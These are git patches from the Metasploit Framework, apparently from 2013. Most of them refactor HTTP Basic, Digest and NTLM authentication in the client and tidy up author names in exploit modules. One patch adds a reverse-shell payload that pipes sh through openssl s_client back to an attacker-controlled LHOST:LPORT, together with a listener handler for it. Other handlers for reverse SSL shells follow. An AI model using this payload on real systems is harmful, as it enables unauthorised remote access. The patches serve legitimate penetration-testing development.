blob_data[:dns_domain_name] || '' #dns domain + chall_MsvAvTimestamp = blob_data[:chall_MsvAvTimestamp] || '' #Client time + + spnopt = {:use_spn => self.config['SendSPN'], :name => self.hostname} + + resp_lm, resp_ntlm, client_challenge, ntlm_cli_challenge = NTLM_UTILS.create_lm_ntlm_responses( + opts['username'], + opts['password'], + challenge_key, + domain_name, + default_name, + default_domain, + dns_host_name, + dns_domain_name, + chall_MsvAvTimestamp, + spnopt, + ntlm_options + ) + + ntlm_message_3 = NTLM_UTILS.make_ntlmssp_blob_auth( + domain_name, + workstation_name, + opts['username'], + resp_lm, + resp_ntlm, + '', + ntlmssp_flags + ) + + ntlm_message_3 = Rex::Text::encode_base64(ntlm_message_3) + + # Send the response + opts['headers']['Authorization'] = "#{provider}#{ntlm_message_3}" + r = request_cgi(opts) + resp = _send_recv(r, to, true) + unless resp.kind_of? Rex::Proto::Http::Response + return nil + end + return resp + + rescue ::Errno::EPIPE, ::Timeout::Error + return nil + end + end # # Read a response from the server # @@ -839,6 +1126,9 @@ class Client # attr_accessor :proxies + # Auth + attr_accessor :username, :password + # When parsing the request, thunk off the first response from the server, since junk attr_accessor :junk_pipeline From efe09472860d6edcd66d730af664817dab88fff2 Mon Sep 17 00:00:00 2001 From: David Maloney Date: Thu, 31 Jan 2013 14:01:24 -0600 Subject: [PATCH 069/448] Start fixing datastore options --- lib/msf/core/exploit/http/client.rb | 23 +++++++++++++++-------- lib/rex/proto/http/client.rb | 8 ++++++-- 2 files changed, 21 insertions(+), 10 deletions(-) diff --git a/lib/msf/core/exploit/http/client.rb b/lib/msf/core/exploit/http/client.rb index b5df69ba24..8e8e05dadb 100644 --- a/lib/msf/core/exploit/http/client.rb +++ b/lib/msf/core/exploit/http/client.rb @@ -16,7 +16,6 @@ module Msf module Exploit::Remote::HttpClient include Msf::Auxiliary::Report include Exploit::Remote::NTLM::Client - include Exploit::Remote::HttpAuth # # Constants @@ -38,7 +37,9 @@ module Exploit::Remote::HttpClient Opt::RHOST, Opt::RPORT(80), OptString.new('VHOST', [ false, "HTTP server virtual host" ]), - Opt::Proxies + Opt::Proxies, + OptString.new('USERNAME', [false, 'The HTTP username to specify for authentication']), + OptString.new('PASSWORD', [false, 'The HTTP password to specify for authentication']), ], self.class ) @@ -47,10 +48,6 @@ module Exploit::Remote::HttpClient OptString.new('UserAgent', [false, 'The User-Agent header to use for all requests', Rex::Proto::Http::Client::DefaultUserAgent ]), - OptString.new('BasicAuthUser', [false, 'The HTTP username to specify for basic authentication']), - OptString.new('BasicAuthPass', [false, 'The HTTP password to specify for basic authentication']), - OptString.new('DigestAuthUser', [false, 'The HTTP username to specify for digest authentication']), - OptString.new('DigestAuthPassword', [false, 'The HTTP password to specify for digest authentication']), OptBool.new('DigestAuthIIS', [false, 'Conform to IIS, should work for most servers. Only set to false for non-IIS servers', true]), OptBool.new('SSL', [ false, 'Negotiate SSL for outgoing connections', false]), OptEnum.new('SSLVersion', [ false, 'Specify the version of SSL that should be used', 'SSL3', ['SSL2', 'SSL3', 'TLS1']]), @@ -157,7 +154,9 @@ module Exploit::Remote::HttpClient }, dossl, ssl_version, - proxies + proxies, + datastore['USERNAME'], + datastore['PASSWORD'] ) # Configure the HTTP client with the supplied parameter @@ -185,7 +184,15 @@ module Exploit::Remote::HttpClient 'pad_post_params_count' => datastore['HTTP::pad_post_params_count'], 'uri_fake_end' => datastore['HTTP::uri_fake_end'], 'uri_fake_params_start' => datastore['HTTP::uri_fake_params_start'], - 'header_folding' => datastore['HTTP::header_folding'] + 'header_folding' => datastore['HTTP::header_folding'], + 'usentlm2_session' => datastore['NTLM::UseNTLM2_session'] + 'use_ntlmv2' => datastore['NTLM::UseNTLMv2'], + 'send_lm' => datastore['NTLM::SendLM'], + 'send_ntlm' => datastore['NTLM::SendNTLM'], + 'SendSPN' => datastore['NTLM::SendSPN'], + 'UseLMKey' => datastore['NTLM::UseLMKey'], + 'domain' => datastore['DOMAIN'], + 'DigestAuthIIS' => datastore['DigestAuthIIS'] ) # If this connection is global, persist it diff --git a/lib/rex/proto/http/client.rb b/lib/rex/proto/http/client.rb index ddc1d3b30e..d544543d16 100644 --- a/lib/rex/proto/http/client.rb +++ b/lib/rex/proto/http/client.rb @@ -74,7 +74,11 @@ class Client 'send_ntlm' => true, 'SendSPN' => true, 'UseLMKey' => false, - 'domain' => 'WORKSTATION' + 'domain' => 'WORKSTATION', + # + # Digest Options + # + 'DigestAuthIIS' => true } # This is not used right now... @@ -429,7 +433,7 @@ class Client method = opts['method'] path = opts['uri'] iis = true - if (opts['DigestAuthIIS'] == false or datastore['DigestAuthIIS'] == false) + if (opts['DigestAuthIIS'] == false or self.config['DigestAuthIIS']) iis = false end From 61969d575b8753626236e41580e1f7d6a26f6a6e Mon Sep 17 00:00:00 2001 From: David Maloney Date: Thu, 31 Jan 2013 14:44:06 -0600 Subject: [PATCH 070/448] remove mixin require, more datastore clenaup --- lib/msf/core/exploit/http/client.rb | 14 +++++++++++--- lib/msf/core/exploit/mixins.rb | 1 - lib/rex/proto/http/client.rb | 3 ++- 3 files changed, 13 insertions(+), 5 deletions(-) diff --git a/lib/msf/core/exploit/http/client.rb b/lib/msf/core/exploit/http/client.rb index 8e8e05dadb..808646a843 100644 --- a/lib/msf/core/exploit/http/client.rb +++ b/lib/msf/core/exploit/http/client.rb @@ -38,8 +38,8 @@ module Exploit::Remote::HttpClient Opt::RPORT(80), OptString.new('VHOST', [ false, "HTTP server virtual host" ]), Opt::Proxies, - OptString.new('USERNAME', [false, 'The HTTP username to specify for authentication']), - OptString.new('PASSWORD', [false, 'The HTTP password to specify for authentication']), + OptString.new('USERNAME', [false, 'The HTTP username to specify for authentication', '']), + OptString.new('PASSWORD', [false, 'The HTTP password to specify for authentication', '']), ], self.class ) @@ -185,7 +185,7 @@ module Exploit::Remote::HttpClient 'uri_fake_end' => datastore['HTTP::uri_fake_end'], 'uri_fake_params_start' => datastore['HTTP::uri_fake_params_start'], 'header_folding' => datastore['HTTP::header_folding'], - 'usentlm2_session' => datastore['NTLM::UseNTLM2_session'] + 'usentlm2_session' => datastore['NTLM::UseNTLM2_session'], 'use_ntlmv2' => datastore['NTLM::UseNTLMv2'], 'send_lm' => datastore['NTLM::SendLM'], 'send_ntlm' => datastore['NTLM::SendNTLM'], @@ -281,6 +281,14 @@ module Exploit::Remote::HttpClient end end + # + # Combine the user/pass into an auth string for the HTTP Client + # + def basic_auth + return if not datastore['USERNAME'] + datastore['USERNAME'].to_s + ":" + (datastore['PASSWORD'].to_s || '') + end + # # Authenticates to the remote host based on the most appropriate authentication method, # and returns the HTTP response. If there are multiple auth methods supported, then it diff --git a/lib/msf/core/exploit/mixins.rb b/lib/msf/core/exploit/mixins.rb index 6e45892469..6b4db3a54f 100644 --- a/lib/msf/core/exploit/mixins.rb +++ b/lib/msf/core/exploit/mixins.rb @@ -37,7 +37,6 @@ require 'msf/core/exploit/ftp' require 'msf/core/exploit/tftp' require 'msf/core/exploit/telnet' require 'msf/core/exploit/ftpserver' -require 'msf/core/exploit/http/auth' require 'msf/core/exploit/http/client' require 'msf/core/exploit/http/server' require 'msf/core/exploit/smtp' diff --git a/lib/rex/proto/http/client.rb b/lib/rex/proto/http/client.rb index d544543d16..50c354e688 100644 --- a/lib/rex/proto/http/client.rb +++ b/lib/rex/proto/http/client.rb @@ -366,8 +366,9 @@ class Client def send_recv(req, t = -1, persist=false) res = _send_recv(req,t,persist) if res and res.code == 401 and res.headers['WWW-Authenticate'] and have_creds? - send_auth(res, opts, t, persist) + res = send_auth(res, opts, t, persist) end + res end def _send_recv(req, t = -1, persist=false) From 6c12fa26bc2c7dc476f7df7bc745a814116e9552 Mon Sep 17 00:00:00 2001 From: David Maloney Date: Thu, 31 Jan 2013 16:49:52 -0600 Subject: [PATCH 071/448] oodles of small fixes Basic, NTLM and Negotiate auth all working transparently Have to test digest auth still --- lib/rex/proto/http/client.rb | 51 ++++++++++++++++++++++++------------ 1 file changed, 34 insertions(+), 17 deletions(-) diff --git a/lib/rex/proto/http/client.rb b/lib/rex/proto/http/client.rb index 50c354e688..267946f339 100644 --- a/lib/rex/proto/http/client.rb +++ b/lib/rex/proto/http/client.rb @@ -2,7 +2,11 @@ require 'rex/socket' require 'rex/proto/http' require 'rex/text' -require 'pry' +require 'digest' +require 'rex/proto/ntlm/crypt' +require 'rex/proto/ntlm/constants' +require 'rex/proto/ntlm/utils' +require 'rex/proto/ntlm/exceptions' module Rex module Proto @@ -244,7 +248,7 @@ class Client c_host = opts['vhost'] || config['vhost'] c_conn = opts['connection'] c_path = opts['path_info'] - c_auth = opts['basic_auth'] || config['basic_auth'] || '' + uri = set_cgi(c_cgi) qstr = c_qs pstr = c_body @@ -301,10 +305,6 @@ class Client req << set_host_header(c_host) req << set_agent_header(c_ag) - if (c_auth.length > 0) - req << set_basic_auth_header(c_auth) - end - req << set_cookie_header(c_cook) req << set_connection_header(c_conn) req << set_extra_headers(c_head) @@ -364,6 +364,8 @@ class Client # to reuse an existing connection. # def send_recv(req, t = -1, persist=false) + opts = req[:opts] + req = req[:string] res = _send_recv(req,t,persist) if res and res.code == 401 and res.headers['WWW-Authenticate'] and have_creds? res = send_auth(res, opts, t, persist) @@ -372,9 +374,10 @@ class Client end def _send_recv(req, t = -1, persist=false) + if req.kind_of? Hash and req[:string] + req = req[:string] + end @pipeline = persist - opts = req[:opts] - req = req[:string] send_request(req, t) res = read_response(t) res.request = req.to_s if res @@ -396,7 +399,12 @@ class Client def send_auth(res, opts, t, persist) supported_auths = res.headers['WWW-Authenticate'] if supported_auths.include? 'Basic' - opts['basic_auth'] = self.username.to_s + ':' + self.password.to_s + if opts['headers'] + opts['headers']['Authorization'] = basic_auth_header(self.username,self.password) + else + opts['headers'] = { 'Authorization' => basic_auth_header(self.username,self.password)} + end + req = request_cgi(opts) res = _send_recv(req,t,persist) return res @@ -425,9 +433,16 @@ class Client end end + def basic_auth_header(username,password) + auth_str = username.to_s + ":" + password.to_s + auth_str = "Basic " + Rex::Text.encode_base64(auth_str) + end + def digest_auth(opts={}) @nonce_count = 0 + to = opts['timeout'] || 20 + digest_user = opts['DigestAuthUser'] || "" digest_password = opts['DigestAuthPassword'] || "" @@ -448,7 +463,7 @@ class Client r = request_cgi(opts.merge({ 'uri' => path, 'method' => method })) - resp = _send_recv(r, to) + resp = _send_recv(r, to, true) unless resp.kind_of? Rex::Proto::Http::Response return nil end @@ -545,7 +560,7 @@ class Client 'uri' => path, 'method' => method, 'headers' => headers })) - resp = _send_recv(r, to) + resp = _send_recv(r, to, true) unless resp.kind_of? Rex::Proto::Http::Response return nil end @@ -565,6 +580,8 @@ class Client :send_ntlm => self.config['send_ntlm'] } + to = opts['timeout'] || 20 + if opts['provider'] and opts['provider'].include? 'Negotiate' provider = "Negotiate " else @@ -574,12 +591,12 @@ class Client opts['method']||= 'GET' opts['headers']||= {} - ntlmssp_flags = NTLM_UTILS.make_ntlm_flags(ntlm_options) + ntlmssp_flags = ::Rex::Proto::NTLM::Utils.make_ntlm_flags(ntlm_options) workstation_name = Rex::Text.rand_text_alpha(rand(8)+1) domain_name = self.config['domain'] b64_blob = Rex::Text::encode_base64( - NTLM_UTILS::make_ntlmssp_blob_init( + ::Rex::Proto::NTLM::Utils::make_ntlmssp_blob_init( domain_name, workstation_name, ntlmssp_flags @@ -591,7 +608,7 @@ class Client # First request to get the challenge opts['headers']['Authorization'] = ntlm_message_1 r = request_cgi(opts) - resp = _send_recv(r, to) + resp = _send_recv(r, to, true) unless resp.kind_of? Rex::Proto::Http::Response return nil end @@ -603,7 +620,7 @@ class Client return resp unless ntlm_challenge ntlm_message_2 = Rex::Text::decode_base64(ntlm_challenge) - blob_data = NTLM_UTILS.parse_ntlm_type_2_blob(ntlm_message_2) + blob_data = ::Rex::Proto::NTLM::Utils.parse_ntlm_type_2_blob(ntlm_message_2) challenge_key = blob_data[:challenge_key] server_ntlmssp_flags = blob_data[:server_ntlmssp_flags] #else should raise an error @@ -615,7 +632,7 @@ class Client spnopt = {:use_spn => self.config['SendSPN'], :name => self.hostname} - resp_lm, resp_ntlm, client_challenge, ntlm_cli_challenge = NTLM_UTILS.create_lm_ntlm_responses( + resp_lm, resp_ntlm, client_challenge, ntlm_cli_challenge = ::Rex::Proto::NTLM::Utils.create_lm_ntlm_responses( opts['username'], opts['password'], challenge_key, @@ -629,7 +646,7 @@ class Client ntlm_options ) - ntlm_message_3 = NTLM_UTILS.make_ntlmssp_blob_auth( + ntlm_message_3 = ::Rex::Proto::NTLM::Utils.make_ntlmssp_blob_auth( domain_name, workstation_name, opts['username'], From 8d817dcbb5b652e8f26afa452a97f1190f27db99 Mon Sep 17 00:00:00 2001 From: David Maloney Date: Fri, 1 Feb 2013 15:49:18 -0600 Subject: [PATCH 072/448] fix iis digest support mistake Digest auth working automatically --- lib/rex/proto/http/client.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/rex/proto/http/client.rb b/lib/rex/proto/http/client.rb index 267946f339..8c32ed3c2b 100644 --- a/lib/rex/proto/http/client.rb +++ b/lib/rex/proto/http/client.rb @@ -449,7 +449,7 @@ class Client method = opts['method'] path = opts['uri'] iis = true - if (opts['DigestAuthIIS'] == false or self.config['DigestAuthIIS']) + if (opts['DigestAuthIIS'] == false or self.config['DigestAuthIIS'] == false) iis = false end From e8def29b4f810a1fd7d8ac6643bceddbc9bad991 Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Fri, 1 Feb 2013 16:33:44 -0600 Subject: [PATCH 073/448] Dropping all twitter handles Also adds "pbot" as an accepted lowercase word. This will come up pretty routinley for functions and stuff. --- modules/exploits/multi/misc/pbot_exec.rb | 2 +- modules/exploits/windows/browser/adobe_cooltype_sing.rb | 3 +-- modules/exploits/windows/browser/ms10_090_ie_css_clip.rb | 2 +- modules/exploits/windows/fileformat/adobe_cooltype_sing.rb | 3 +-- tools/msftidy.rb | 3 ++- 5 files changed, 6 insertions(+), 7 deletions(-) diff --git a/modules/exploits/multi/misc/pbot_exec.rb b/modules/exploits/multi/misc/pbot_exec.rb index fb3f1693f9..90ebfa34a7 100644 --- a/modules/exploits/multi/misc/pbot_exec.rb +++ b/modules/exploits/multi/misc/pbot_exec.rb @@ -28,7 +28,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'evilcry', # pbot analysis' 'Jay Turla', # pbot analysis - '@bwallHatesTwits', # PoC + 'bwall', # aka @bwallHatesTwits, PoC 'juan vazquez' # Metasploit module ], 'License' => MSF_LICENSE, diff --git a/modules/exploits/windows/browser/adobe_cooltype_sing.rb b/modules/exploits/windows/browser/adobe_cooltype_sing.rb index 0a64ebeae4..e51ecadf6d 100644 --- a/modules/exploits/windows/browser/adobe_cooltype_sing.rb +++ b/modules/exploits/windows/browser/adobe_cooltype_sing.rb @@ -25,8 +25,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Author' => [ 'Unknown', # 0day found in the wild - '@sn0wfl0w', # initial analysis - '@vicheck', # initial analysis + 'sn0wfl0w', # initial analysis, also @vicheck on twitter 'jduck' # Metasploit module ], 'References' => diff --git a/modules/exploits/windows/browser/ms10_090_ie_css_clip.rb b/modules/exploits/windows/browser/ms10_090_ie_css_clip.rb index cee5f962a6..a7ba46418a 100644 --- a/modules/exploits/windows/browser/ms10_090_ie_css_clip.rb +++ b/modules/exploits/windows/browser/ms10_090_ie_css_clip.rb @@ -49,7 +49,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Author' => [ 'unknown', # discovered in the wild - '@yuange1975', # PoC posted to twitter + 'Yuange', # PoC posted to twitter under @yuange1975 'Matteo Memelli', # exploit-db version 'jduck' # Metasploit module ], diff --git a/modules/exploits/windows/fileformat/adobe_cooltype_sing.rb b/modules/exploits/windows/fileformat/adobe_cooltype_sing.rb index a8ba842b7e..2e2ad87d3f 100644 --- a/modules/exploits/windows/fileformat/adobe_cooltype_sing.rb +++ b/modules/exploits/windows/fileformat/adobe_cooltype_sing.rb @@ -25,8 +25,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Author' => [ 'Unknown', # 0day found in the wild - '@sn0wfl0w', # initial analysis - '@vicheck', # initial analysis + 'sn0wfl0w', # initial analysis, also @vicheck on twitter 'jduck' # Metasploit module ], 'References' => diff --git a/tools/msftidy.rb b/tools/msftidy.rb index aa63bea6a4..d2a17447f5 100755 --- a/tools/msftidy.rb +++ b/tools/msftidy.rb @@ -204,7 +204,7 @@ class Msftidy end if author_name =~ /^@.+$/ - error("No Twitter handle, please. Try leaving it in a comment instead.") + error("No Twitter handles, please. Try leaving it in a comment instead.") end if not author_name.ascii_only? @@ -281,6 +281,7 @@ class Msftidy words.each do |word| if %w{and or the for to in of as with a an on at}.include?(word) next + elsif %w{pbot}.include?(word) elsif word =~ /^[a-z]+$/ warn("Improper capitalization in module title: '#{word}'") end From c3801ad08320fb53ad97d8e3f3682f958ffb2952 Mon Sep 17 00:00:00 2001 From: HD Moore Date: Sun, 3 Feb 2013 04:44:25 -0600 Subject: [PATCH 074/448] This adds an openssl CMD payload and handler --- .../core/handler/reverse_tcp_double_ssl.rb | 300 ++++++++++++++++++ .../singles/cmd/unix/reverse_openssl.rb | 58 ++++ 2 files changed, 358 insertions(+) create mode 100644 lib/msf/core/handler/reverse_tcp_double_ssl.rb create mode 100644 modules/payloads/singles/cmd/unix/reverse_openssl.rb diff --git a/lib/msf/core/handler/reverse_tcp_double_ssl.rb b/lib/msf/core/handler/reverse_tcp_double_ssl.rb new file mode 100644 index 0000000000..4410de7df7 --- /dev/null +++ b/lib/msf/core/handler/reverse_tcp_double_ssl.rb @@ -0,0 +1,300 @@ +# -*- coding: binary -*- +module Msf +module Handler + +### +# +# This module implements the reverse double TCP handler. This means +# that it listens on a port waiting for a two connections, one connection +# is treated as stdin, the other as stdout. +# +# This handler depends on having a local host and port to +# listen on. +# +### +module ReverseTcpDoubleSSL + + include Msf::Handler + + # + # Returns the string representation of the handler type, in this case + # 'reverse_tcp_double'. + # + def self.handler_type + return "reverse_tcp_double_ssl" + end + + # + # Returns the connection-described general handler type, in this case + # 'reverse'. + # + def self.general_handler_type + "reverse" + end + + # + # Initializes the reverse TCP handler and ads the options that are required + # for all reverse TCP payloads, like local host and local port. + # + def initialize(info = {}) + super + + register_options( + [ + Opt::LHOST, + Opt::LPORT(4444) + ], Msf::Handler::ReverseTcpDoubleSSL) + + register_advanced_options( + [ + OptBool.new('ReverseAllowProxy', [ true, 'Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST', false]), + ], Msf::Handler::ReverseTcpDoubleSSL) + + self.conn_threads = [] + end + + # + # Starts the listener but does not actually attempt + # to accept a connection. Throws socket exceptions + # if it fails to start the listener. + # + def setup_handler + if datastore['Proxies'] and not datastore['ReverseAllowProxy'] + raise RuntimeError, 'TCP connect-back payloads cannot be used with Proxies. Can be overriden by setting ReverseAllowProxy to true' + end + self.listener_sock = Rex::Socket::TcpServer.create( + # 'LocalHost' => datastore['LHOST'], + 'LocalPort' => datastore['LPORT'].to_i, + 'Comm' => comm, + 'SSL' => true, + 'Context' => + { + 'Msf' => framework, + 'MsfPayload' => self, + 'MsfExploit' => assoc_exploit + }) + end + + # + # Closes the listener socket if one was created. + # + def cleanup_handler + stop_handler + + # Kill any remaining handle_connection threads that might + # be hanging around + conn_threads.each { |thr| + thr.kill + } + end + + # + # Starts monitoring for an inbound connection. + # + def start_handler + self.listener_thread = framework.threads.spawn("ReverseTcpDoubleSSLHandlerListener", false) { + sock_inp = nil + sock_out = nil + + print_status("Started reverse double handler") + + begin + # Accept two client connection + begin + client_a = self.listener_sock.accept + print_status("Accepted the first client connection...") + + client_b = self.listener_sock.accept + print_status("Accepted the second client connection...") + + sock_inp, sock_out = detect_input_output(client_a, client_b) + + rescue + wlog("Exception raised during listener accept: #{$!}\n\n#{$@.join("\n")}") + return nil + end + + # Increment the has connection counter + self.pending_connections += 1 + + # Start a new thread and pass the client connection + # as the input and output pipe. Client's are expected + # to implement the Stream interface. + conn_threads << framework.threads.spawn("ReverseTcpDoubleSSLHandlerSession", false, sock_inp, sock_out) { | sock_inp_copy, sock_out_copy| + begin + chan = TcpReverseDoubleSSLSessionChannel.new(framework, sock_inp_copy, sock_out_copy) + handle_connection(chan.lsock) + rescue + elog("Exception raised from handle_connection: #{$!}\n\n#{$@.join("\n")}") + end + } + end while true + } + end + + # + # Accept two sockets and determine which one is the input and which + # is the output. This method assumes that these sockets pipe to a + # remote shell, it should overridden if this is not the case. + # + def detect_input_output(sock_a, sock_b) + + begin + + # Flush any pending socket data + sock_a.get_once if sock_a.has_read_data?(0.25) + sock_b.get_once if sock_b.has_read_data?(0.25) + + etag = Rex::Text.rand_text_alphanumeric(16) + echo = "echo #{etag};\n" + + print_status("Command: #{echo.strip}") + + print_status("Writing to socket A") + sock_a.put(echo) + + print_status("Writing to socket B") + sock_b.put(echo) + + print_status("Reading from sockets...") + + resp_a = '' + resp_b = '' + + if (sock_a.has_read_data?(1)) + print_status("Reading from socket A") + resp_a = sock_a.get_once + print_status("A: #{resp_a.inspect}") + end + + if (sock_b.has_read_data?(1)) + print_status("Reading from socket B") + resp_b = sock_b.get_once + print_status("B: #{resp_b.inspect}") + end + + print_status("Matching...") + if (resp_b.match(etag)) + print_status("A is input...") + return sock_a, sock_b + else + print_status("B is input...") + return sock_b, sock_a + end + + rescue ::Exception + print_status("Caught exception in detect_input_output: #{$!}") + end + + end + + # + # Stops monitoring for an inbound connection. + # + def stop_handler + # Terminate the listener thread + if (self.listener_thread and self.listener_thread.alive? == true) + self.listener_thread.kill + self.listener_thread = nil + end + + if (self.listener_sock) + self.listener_sock.close + self.listener_sock = nil + end + end + +protected + + attr_accessor :listener_sock # :nodoc: + attr_accessor :listener_thread # :nodoc: + attr_accessor :conn_threads # :nodoc: + + + module TcpReverseDoubleSSLChannelExt + attr_accessor :localinfo + attr_accessor :peerinfo + end + + ### + # + # This class wrappers the communication channel built over the two inbound + # connections, allowing input and output to be split across both. + # + ### + class TcpReverseDoubleSSLSessionChannel + + include Rex::IO::StreamAbstraction + + def initialize(framework, inp, out) + @framework = framework + @sock_inp = inp + @sock_out = out + + initialize_abstraction + + self.lsock.extend(TcpReverseDoubleSSLChannelExt) + self.lsock.peerinfo = @sock_inp.getpeername[1,2].map{|x| x.to_s}.join(":") + self.lsock.localinfo = @sock_inp.getsockname[1,2].map{|x| x.to_s}.join(":") + + monitor_shell_stdout + end + + # + # Funnel data from the shell's stdout to +rsock+ + # + # +StreamAbstraction#monitor_rsock+ will deal with getting data from + # the client (user input). From there, it calls our write() below, + # funneling the data to the shell's stdin on the other side. + # + def monitor_shell_stdout + + # Start a thread to pipe data between stdin/stdout and the two sockets + @monitor_thread = @framework.threads.spawn("ReverseTcpDoubleSSLHandlerMonitor", false) { + begin + while true + # Handle data from the server and write to the client + if (@sock_out.has_read_data?(0.50)) + buf = @sock_out.get_once + break if buf.nil? + rsock.put(buf) + end + end + rescue ::Exception => e + ilog("ReverseTcpDoubleSSL monitor thread raised #{e.class}: #{e}") + end + + # Clean up the sockets... + begin + @sock_inp.close + @sock_out.close + rescue ::Exception + end + } + end + + def write(buf, opts={}) + @sock_inp.write(buf, opts) + end + + def read(length=0, opts={}) + @sock_out.read(length, opts) + end + + # + # Closes the stream abstraction and kills the monitor thread. + # + def close + @monitor_thread.kill if (@monitor_thread) + @monitor_thread = nil + + cleanup_abstraction + end + + end + + +end + +end +end diff --git a/modules/payloads/singles/cmd/unix/reverse_openssl.rb b/modules/payloads/singles/cmd/unix/reverse_openssl.rb new file mode 100644 index 0000000000..ab9c0c2a13 --- /dev/null +++ b/modules/payloads/singles/cmd/unix/reverse_openssl.rb @@ -0,0 +1,58 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'msf/core/handler/reverse_tcp_double_ssl' +require 'msf/base/sessions/command_shell' +require 'msf/base/sessions/command_shell_options' + +module Metasploit3 + + include Msf::Payload::Single + include Msf::Sessions::CommandShellOptions + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Unix Command Shell, Double reverse TCP SSL (openssl)', + 'Description' => 'Creates an interactive shell through two inbound connections', + 'Author' => 'hdm', + 'License' => MSF_LICENSE, + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Handler' => Msf::Handler::ReverseTcpDoubleSSL, + 'Session' => Msf::Sessions::CommandShell, + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'openssl', + 'Payload' => + { + 'Offsets' => { }, + 'Payload' => '' + } + )) + end + + # + # Constructs the payload + # + def generate + return super + command_string + end + + # + # Returns the command string to use for execution + # + def command_string + cmd = + "sh -c '(sleep #{3600+rand(1024)}|" + + "openssl s_client -quiet -connect #{datastore['LHOST']}:#{datastore['LPORT']}|" + + "while : ; do sh && break; done 2>&1|" + + "openssl s_client -quiet -connect #{datastore['LHOST']}:#{datastore['LPORT']}" + + " >/dev/null 2>&1 &)'" + return cmd + end + +end From ffb88baf4a25f1f13b6e1ccfc8a8343e6a375bea Mon Sep 17 00:00:00 2001 From: RageLtMan Date: Sun, 3 Feb 2013 14:59:15 -0500 Subject: [PATCH 075/448] initial module import from SV rev_ssl branch --- lib/msf/core/handler/reverse_tcp_ssl.rb | 122 ++++++++++++++++++ lib/msf/core/module/platform.rb | 16 +++ modules/exploits/multi/handler.rb | 2 +- .../cmd/unix/reverse_bash_telnet_ssl.rb | 63 +++++++++ .../cmd/unix/reverse_openssl_double.rb | 68 ++++++++++ .../singles/cmd/unix/reverse_perl_ssl.rb | 63 +++++++++ .../singles/cmd/unix/reverse_php_ssl.rb | 61 +++++++++ .../singles/cmd/unix/reverse_python_ssl.rb | 79 ++++++++++++ .../singles/cmd/unix/reverse_ruby_ssl.rb | 49 +++++++ .../cmd/unix/reverse_ssl_double_telnet.rb | 67 ++++++++++ .../singles/python/shell_reverse_tcp_ssl.rb | 77 +++++++++++ .../singles/ruby/shell_reverse_tcp_ssl.rb | 52 ++++++++ 12 files changed, 718 insertions(+), 1 deletion(-) create mode 100644 lib/msf/core/handler/reverse_tcp_ssl.rb create mode 100644 modules/payloads/singles/cmd/unix/reverse_bash_telnet_ssl.rb create mode 100644 modules/payloads/singles/cmd/unix/reverse_openssl_double.rb create mode 100644 modules/payloads/singles/cmd/unix/reverse_perl_ssl.rb create mode 100644 modules/payloads/singles/cmd/unix/reverse_php_ssl.rb create mode 100644 modules/payloads/singles/cmd/unix/reverse_python_ssl.rb create mode 100644 modules/payloads/singles/cmd/unix/reverse_ruby_ssl.rb create mode 100644 modules/payloads/singles/cmd/unix/reverse_ssl_double_telnet.rb create mode 100644 modules/payloads/singles/python/shell_reverse_tcp_ssl.rb create mode 100644 modules/payloads/singles/ruby/shell_reverse_tcp_ssl.rb diff --git a/lib/msf/core/handler/reverse_tcp_ssl.rb b/lib/msf/core/handler/reverse_tcp_ssl.rb new file mode 100644 index 0000000000..60f827c7ab --- /dev/null +++ b/lib/msf/core/handler/reverse_tcp_ssl.rb @@ -0,0 +1,122 @@ +require 'rex/socket' +require 'thread' + +module Msf +module Handler + +### +# +# This module implements the reverse TCP handler. This means +# that it listens on a port waiting for a connection until +# either one is established or it is told to abort. +# +# This handler depends on having a local host and port to +# listen on. +# +### +module ReverseTcpSsl + + include Msf::Handler::ReverseTcp + + # + # Returns the string representation of the handler type, in this case + # 'reverse_tcp_ssl'. + # + def self.handler_type + return "reverse_tcp_ssl" + end + + # + # Returns the connection-described general handler type, in this case + # 'reverse'. + # + def self.general_handler_type + "reverse" + end + + # + # Initializes the reverse TCP SSL handler and adds the certificate option. + # + def initialize(info = {}) + super + register_advanced_options( + [ + OptPath.new('SSLCert', [ false, 'Path to a custom SSL certificate (default is randomly generated)']) + ], Msf::Handler::ReverseTcpSsl) + + end + + # + # Starts the listener but does not actually attempt + # to accept a connection. Throws socket exceptions + # if it fails to start the listener. + # + def setup_handler + if datastore['Proxies'] + raise RuntimeError, 'TCP connect-back payloads cannot be used with Proxies' + end + + ex = false + # Switch to IPv6 ANY address if the LHOST is also IPv6 + addr = Rex::Socket.resolv_nbo(datastore['LHOST']) + # First attempt to bind LHOST. If that fails, the user probably has + # something else listening on that interface. Try again with ANY_ADDR. + any = (addr.length == 4) ? "0.0.0.0" : "::0" + + addrs = [ Rex::Socket.addr_ntoa(addr), any ] + + comm = datastore['ReverseListenerComm'] + if comm.to_s == "local" + comm = ::Rex::Socket::Comm::Local + else + comm = nil + end + + if not datastore['ReverseListenerBindAddress'].to_s.empty? + # Only try to bind to this specific interface + addrs = [ datastore['ReverseListenerBindAddress'] ] + + # Pick the right "any" address if either wildcard is used + addrs[0] = any if (addrs[0] == "0.0.0.0" or addrs == "::0") + end + addrs.each { |ip| + begin + + comm.extend(Rex::Socket::SslTcp) + self.listener_sock = Rex::Socket::SslTcpServer.create( + 'LocalHost' => datastore['LHOST'], + 'LocalPort' => datastore['LPORT'].to_i, + 'Comm' => comm, + 'SSLCert' => datastore['SSLCert'], + 'Context' => + { + 'Msf' => framework, + 'MsfPayload' => self, + 'MsfExploit' => assoc_exploit + }) + + ex = false + + comm_used = comm || Rex::Socket::SwitchBoard.best_comm( ip ) + comm_used = Rex::Socket::Comm::Local if comm_used == nil + + if( comm_used.respond_to?( :type ) and comm_used.respond_to?( :sid ) ) + via = "via the #{comm_used.type} on session #{comm_used.sid}" + else + via = "" + end + + print_status("Started reverse SSL handler on #{ip}:#{datastore['LPORT']} #{via}") + break + rescue + ex = $! + print_error("Handler failed to bind to #{ip}:#{datastore['LPORT']}") + end + } + raise ex if (ex) + end + 